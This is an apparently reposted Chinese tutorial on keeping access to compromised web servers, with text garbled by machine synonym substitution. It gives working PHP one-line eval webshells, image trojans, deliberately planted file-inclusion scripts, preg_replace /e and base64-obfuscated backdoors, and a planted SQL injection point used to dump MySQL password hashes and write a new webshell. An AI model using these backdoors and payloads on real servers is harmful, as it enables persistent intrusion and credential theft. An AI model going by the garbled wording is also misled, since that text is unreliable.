关于权限维持,我之前写过一篇基于体系端的后门技能文章,如映像挟制啊,lpk之类。固然啦,在拿到权限后,在web端做手脚也是个好办法。
内容目次
-构造文件包罗弊端
-潜伏性脚本木马
-构造sql注入点
构造文件包罗弊端
本部分概览
*根本的文件包罗姿势
*制作图片马
*构造文件包罗弊端
PHP文件包罗弊端先容
起首,我们来先容下作甚文件包罗弊端。严格来说,文件包罗弊端是`代码注入`的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端实行。`代码注入`的典范代表就是文件包罗。文件包罗弊端大概出如今`JSP、PHP、ASP`等语言中,原理都是一样的,本实行以PHP文件包罗弊端做例子。
要想乐成利用文件包罗弊端举行攻击,必要满意以下两个条件:
1.Web应用采取include()等文件包罗函数通过动态变量的方式引入必要包罗的文件;
2.用户可以或许控制该动态变量。
在PHP中,有四个用于包罗文件的函数,当利用这些函数包罗文件时,文件中包罗的PHP代码会被实行。下面对它们之间的区别举行表明:
`include()`:当利用该函数包罗文件时,只有代码实行到`include()`函数时才将文件包罗进来,发生错误时只给出一个告诫,继承向下实行。
`include_once()`:功能和`include()`雷同,区别在于当重复调用同一文件时,程序只调用一次。
`require()`:`require()`与`include()`的区别在于`require()`实行假如发生错误,函数会输堕落误信息,并停止脚本的运行。利用`require()`函数包罗文件时,只要程序一实行,立即调用文件,而include()只有程序实行到该函数时才调用。
`require_once()`:它的功能与`require()`雷同,区别在于当重复调用同一文件时,程序只调用一次。
步调1根本的文件包罗姿势
以下全部步调创建在已经取得目标机权限的环境下。
我们假设事先通过一系列的渗出测试得到了目标机的一句话webshell。
假设我们事前得知,目标服务器的一些脚本文件存在文件包罗弊端,如:
/clude.php?file=index.php
其参数`file`没有作很好的过滤,可以包罗恣意文件。
比如,我们在弊端文件`clude.php`同目次新建一个文件`getshell.php`,内容是PHP一句话木马:
?php@eval($_POST['pass']);?
利用中国菜刀进入文件管理功能并如下操纵,那么我们实行通过`clude.php`包罗脚本木马`getshell.php`:
/clude.php?file=getshell.php
点击`EnablePostdata`调出POST数据栏,并POST以下数据:
pass=system('set');
此处转达的变量是通过调用PHP的`system()`函数实行`set`下令来查察当前体系的环境变量。
固然,这里直接包罗了一个木马文件,在我们已经有了webshell的环境下,这好像并没有很大意义。潜伏性并不是很强。
步调2制作图片马
PHP文件包罗,其包罗的文件无论是什么格式,都会被当做PHP文件来分析。
那么,假如恶意代码被插入到了一个正常的网页图片中,而且图片在被插入恶意代码之后还能正常表现,那潜伏性就加强了。
图片木马着实尚有另一点意义,有些网站我们在渗出测试实行上传shell的时间,会要用到上传文件,但是有的时间都会有过滤,假如只是上传`.asp.php`末了的文件的话体系是不会给你上传的,那么这个时间我们通常会把一句话放在图片内里,写成`1.asp;.jpg或1.asp;jpg`的格式上传上去,如许上传的时间体系检测是图片,然后在上传之后,会把这个文件当asp文件来处理惩罚。
那么怎样用制作图片情势的一句话木马呢?
起首我们在工具目次预备了一个图片文件`1.png`,和一个一句话木马文件`hack.php`。
预备好之后就在该目次开启下令行,然后输入以下下令:
copy1.png/b+hack.phptest.png
然后回车就体系就会主动把这两个文件组合起来并定名为`test.png`:
这个时间我们打开两个文件对比一下,用记事本打开,发现`1.png`的内容当中已经把我们的`hack.php`的一句话木马语句已经加加到图片当中去了。
固然了,最紧张的是,被写入了一句话的图片还是可以正常打开的,此为本步调的目标地点:
那么,在实际渗出测试实行中,我们通常是通过下载网站原有的图片文件并更换成一句话木马末了通过更换本来的图片文件到达肯定的潜伏结果。
那么我们试试该图片木马是否可用,先通过中国菜刀的文件上传功能把`test.png`上传到目标机根目次:
那么我们实行通过`clude.php`包罗一句话图片木马`test.png`:
/clude.php?file=test.png
点击`EnablePostdata`调出POST数据栏,并POST以下数据:
pass=system('set');
此处转达的变量是通过调用PHP的`system()`函数实行`set`下令来查察当前体系的环境变量。
固然,这里还是直接包罗了一个木马文件,在我们已经有了webshell的环境下,这好像并没有很大意义。潜伏性并不是很强。
步调3构造文件包罗弊端
那么假设我们拿到shell的服务器上的脚本文件都不存在文件包罗弊端就必要我们本身来构造弊端了,以到达权限维持的结果。
文件包罗弊端的脚本文件的构作育比力简单了,直接写一个不带有任何过滤的利用`include()`函数调用文件的PHP文件,文件代码及相干的解释如下:
?php
$filename=$_GET['filename'];//将参数file的值转达给$filename变量include($filename);//利用include()函数包罗文件
?
上述代码我们已经生存在工具目次的`include.php`,我们利用中国菜刀的文件管理功能把`include.php`上传到目标站根目次:
接下来我们在欣赏器访问以下URL以包罗图片木马`test.png`:
此处的PNG文件被当做是PHP文件分析,于是直接表现了图片乱码,我们在乱码末了并没有发现我们的一句话木马陈迹,于是推断我们的一句话木马已经被分析。
接着我们点击`EnablePostdata`调出POST数据栏,并POST以下数据:
pass=system('netuser');
此处转达的变量是通过调用PHP的`system()`函数实行`set`下令来查察当前体系的环境变量。
我们在图片乱码下面可以看到`netuser`下令的回显。
至此,图片木马被乐成摆设并利用。
潜伏性脚本木马
本部分概览:
*利用`preg_replace`函数留后门
*利用加密`preg_replace`函数
*变异加密型后门
步调1利用`preg_replace`函数留后门
着实我们可以通过如下代码实现了隐蔽式后门:
?php@preg_replace("//e",$_POST['IN_COMSENZ'],"AccessDenied");?
乍看到这个代码以为没什么题目,这里用到的是php的`preg_replace`函数:
-`preg_replace`函数原型:
mixedpreg_replace(mixedpattern,mixedreplacement,mixedsubject[,intlimit])
特别阐明:
`/e`修正符使`preg_replace()`将`replacement`参数当作PHP代码(在得当的逆向引用更换完之后)。
提示:要确保`replacement`构成一个合法的PHP代码字符串,否则PHP会在陈诉:在"包罗`preg_replace()`的行中出现语法分析错误."上面的代码是POST吸取数据,实现大概不太直观,假如换成GET获取数据的话可以更好地明白:
举例,代码如下:
?phpechopreg_replace("/test/e",$_GET["h"],"jutsttest");?
我们假设事先通过一系列的渗出测试得到了目标机的一句话webshell。
在中国菜刀的文件管理页面右键,新建一个`test.php`,内容是上述的`get`方式提交的一句话:
?phpechopreg_replace("/test/e",$_GET["h"],"jutsttest");?
假如我们提交`?h=phpinfo()`便是通过传参实行了PHP的`phpinfo()`函数。
即在欣赏器访问以下URL转达必要实行的变量函数`phpinfo()`:
/test.php?h=phpinfo();
如上图可见`phpinfo()`将会被实行(用`/e`修饰符,`preg_replace`会将`replacement`参数当作PHP代码实行)。
在PHP中,双引号内里假如包罗有变量,php表明器会将其更换为变量表明后的结果,单引号中的变量不会被处理惩罚。
**留意:**双引号中的函数不会被实行和更换。
步调2利用加密`preg_replace`函数
我们预备了一个加密`preg_replace`函数的一个php后门文件:
文件内容如下:
上述代码末了解密出来着实还是利用`preg_replace`的`/e`来实行的一句话webshell。
代码中的md5值`202cb962ac59075b964b07152d234b70`明文是`123`。
我们先通过上个步调中的一句话木马把`test1.php`上传到目标机根目次,该木马的利用方式是访问该文件并通过POST方式提交雷同如下数据:
pass=123check=phpinfo();
那么我们在欣赏器POST数据一样平常是通过火狐欣赏器的hackbar插件,火狐欣赏器的的Hackbar插件的POST数据栏默认是不开启的,我们必要勾选上图红圈中的部分已启动POST栏。
启动POST栏之后,我们在`Postdata`一栏输入以下数据来POST给服务器:
pass=123check=phpinfo();
上述POST的数据是实行实行`phpinfo()`函数:
如上图可见,`phpinfo()`函数被乐成实行。
固然我们还能通过`system()`函数来实行体系下令:
如通过火狐欣赏器的Hackbar插件POST以下数据:
pass=123check=system('set')
上述POST的数据中就是实行了体系下令`set`查察当前操纵体系环境变量,如上图,我们乐成取得了返回。
步调3变异加密型后门
我们这里预备了一个PHP脚本后门,代码非常奇葩,源代码如下:
上述源码,光看看你是看不出什么端倪的。我们为了方便各人看到上述代码到底做了些什么,对代码做了输出调试处理惩罚,输出每个步调的输出,并对代码做了一些具体的表明:
做了调试的的源码我们定名为`base1.php`:
接着我们利用中国菜刀把上述两个文件`base.php`和`base1.php`都上传到网站根目次。
好了之后我们访问已经做了调试的`base1.php`:
```
https://172.16.12.2/base1.php
```
如上图可见,php文件运行起来后输出结果如下:
上述代码文件我们是一步一步输出的,输出到末了,我们发现,天生的竟然是经典的PHP版一句话木马文件代码:
eval(_decode($_POST[‘z0’]))
上述一句话木马文件中在POST数据外加了`_decode`函数,于是我们必要对变量的提交做``加密处理惩罚。
`base.php`上传之后具体的URL地点如下:
我们在火狐欣赏器访问该文件,并利用Hackbar插件直接提交下面的数据是不可的:
```
z0=phpinfo();
```
我们必要把对`z0`变量的赋值举行加密,加密后的数据情势如下:
```
z0=cGhwaW5mbygpOw==
```
我们直接选中`z0=phpinfo();`中的`phpinfo();`,然后点击`Encoding`-`Encoding`,云云`phpinfo();`将会被加密:
加密完成后,我们点击`Execute`提交:
如上图,`phpinfo()`函数被乐成实行。
那么我们也可以实行实行体系下令如`netuser`:
通例来说,我们提交的是如下数据:
```
z0=system('netuser');
```
在这里我们就必要对变量的赋值`system('netuser');`部分举行加密,选中POST栏的`phpinfo();`,然后点击`Encoding`-`Encoding`,然后POST的数据变成如下情势:
```
z0=c3lzdGVtKCd2ZXInKTs=
```
加密完成后,我们点击`Execute`提交:
如上图可见,`netuser`下令被乐成实行而且我们得到了清楚地返复书息。
构造sql注入点
本部分概览:
*构造注入点
*利用构造的注入点
本部分以php脚本和MySQL数据库为例,演示在得到目标机权限之后,在目标机上面构造一个注入弊端方便我们后续潜伏性维持权限的方法。
步调1构造注入点
我们假设事先通过一系列的渗出测试得到了目标机的一句话webshell。
打开中国菜刀工具添加一句话木马,留意数据库设置信息填写如下数据(事先得到):
TMYSQL/T
Hlocalhost/H
Uroot/U
root/P
Nmysql/N
利用中国菜刀进入到目标机的数据库管理功能:
在中国菜刀的数据库管理功能页面实行以下语句以创建一个新的数据库:
```
createdatabasesqlinject;
```
然退却出该数据库管理页面,在重新进入数据库管理页面就能看到新建的数据库`sqlinjec`了,我们双击该数据库名切换到该数据库:
然后实行以下语句在`sqlinject`数据库中创建表和列:
```
createtableadmin(idintauto_incrementprimarykey,usernamevarchar(32)notnull,passwordvarchar(32)notnull);
```
再实行以下语句想表中的列写入字段值:
```
insertintoadmin(username,password)values('admin',md5('admin')),('safe',md5('12345')),('test',md5('test'));
```
然后我们双击查察`inject`数据库下各项,可以看到数据已经写入。
接下来我们必要构造脚本文件调用上述数据库,脚本文件内容如下:
该文件上传完毕后,我们根据上述脚本内容推测,构造的sql注入点如下:
/test.php?id=1
步调2利用构造的注入点
根据我们之前讲的sql注入相干知识,我们实行通过构造以下语句读取数据库用户相干信息:
test.php?id=-1unionselectconcat(host,0x7c,user,0x7c,password),2,3frommysql.userwherehost='localhost'#
我们把参数从1改为-1是为了防止当前查询的返回结果影响我们到时间提取指定文本。
`concat()`函数把多个必要查询的字段放在一起
`0x7c`是`|`符号的16进制转码结果,有利于我们到时间把字段区分开。
我们得到以下具体信息:
localhost|root|*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
云云得知本地主机`localhost`的`root`账户的暗码hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。
实际渗出测试中,我们可以通过`cmd5.com`的大型hash破解平台来破解暗码,我们这里通过线上破解得知,此hash对应的暗码值为`root`。这些信息可以用来后续的mysql提权。
厥后假设我们之前的一句话木马被管理员删除了,然而我们还是可以利用上述我们创建的sql注入点向服务器再写入一个脚本木马。
然后我们实行在这里写一个一句话webshell到服务器,一句话木马样本如下:
?php@eval($_POST['pass']);?
我们在火狐欣赏器的HackBar插件把上述一句话木马转换为16进制,目标是克制特别字符的转义导致语句不能精确实行:
如图,一句话木马加密后的结果为:
3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e
然后在注入点构造以下语句把一句话导出到`c:/www/small.php`,我们在一句话木马的16进制字符前加了`0x`(此为16进制标识符):
以上语句连续实行两次,假如出现以下错误,即阐明文件写入乐成:
InvalidQuery:File'c:/www/small.php'alreadyexists//第二次写入提示文件已存在则阐明文件写入乐成
我们实行利用中国菜刀毗连一句话木马,如下图操纵:
至此,我们乐成够早了sql注入点并乐成利用其向目标机写入了新的webshell。
分析与总结
重要学习了以下内容:
-潜伏性脚本木马
-畸形目次隐蔽shell
-构造文件包罗弊端
-构造sql注入点
通过本实行,我们学习了几种比力奇特的潜伏性的脚本木马的原理和利用方式,目标在于维持web端的权限。还学习了根本的文件包罗弊端的利用、图片木马的制作,以及怎样构造文件包罗弊端以便我们后续维持web端权限、在目标服务器web端构造sql注入点用以后续维持权限的方式。
固然,web端权限维持技能各种各样,不但于此,只有你想不到,没有渗出测试职员做不到。
若涉及敏感操纵,请在法律答应的范围内测试!
作者:Binghe
泉源:i春秋
链接:https://bbs.ichunqiu.com/thread-19144-1-1.html
炼石信息安全培训春季班开招
QQ:495066536
372806985
敬请连续关注……
上一篇:查询邮件服务器地点记录(怎么看邮件的服务器)「怎么查邮件服务器地址」
下一篇:win2008和win2012哪个体系好(winserver2008和2012哪个快)「win2008和win2012区别」
我要评论